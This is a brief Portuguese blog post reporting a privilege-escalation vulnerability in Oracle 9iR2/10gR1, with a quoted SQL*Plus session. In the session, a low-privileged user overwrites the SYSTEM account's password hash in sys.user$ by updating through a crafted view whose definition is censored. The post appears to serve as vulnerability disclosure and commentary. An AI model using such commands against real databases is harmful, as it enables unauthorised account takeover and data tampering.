Blog do Marcio Portes

Fiquei um pouco surpreso hoje quando recebi a notícia de vulnerabilidade no Oracle 9ir2/10gr1. Com simples grant de create session e create view, um usuário malicioso pode modificar dados de uma tabela que não tenha privilégios. Até o sys!

Exemplo tirado de um site por ai...

C:\>sqlplus dbsnmp/dbsnmp

SQL*Plus: Release 10.1.0.4.0 - Production on Thu Apr 11 12:20:27 2006
Copyright (c) 1982, 2005, Oracle. All rights reserved.


Connected to:
Oracle Database 10g Enterprise Edition Release 10.1.0.4.0 - Production With the Partitioning, OLAP and Data Mining options

SQL> select * from v$version;

BANNER
----------------------------------------------------------------
Oracle Database 10g Enterprise Edition Release 10.1.0.4.0 - Prod PL/SQL Release 10.1.0.4.0 - Production
CORE 10.1.0.4.0 Production
TNS for 32-bit Windows: Version 10.1.0.4.0 - Production NLSRTL Version 10.1.0.4.0 - Production


SQL> -- (as expected)
SQL> update sys.user$ set password='BC903FAEBB69EFBF' where name='SYSTEM';
update sys.user$ set password='BC903FAEBB69EFBF' where name='SYSTEM'
*
ERROR at line 1:
ORA-01031: insufficient privileges

SQL> create or replace view e as select [...censored...];

View created.

SQL> update e set password='BC903FAEBB69EFBF' where name ='SYSTEM';

1 row updated.

E por ai vai. Resta saber quando a Oracle publicará um patch para esse ENORME buraco.

Labels: Security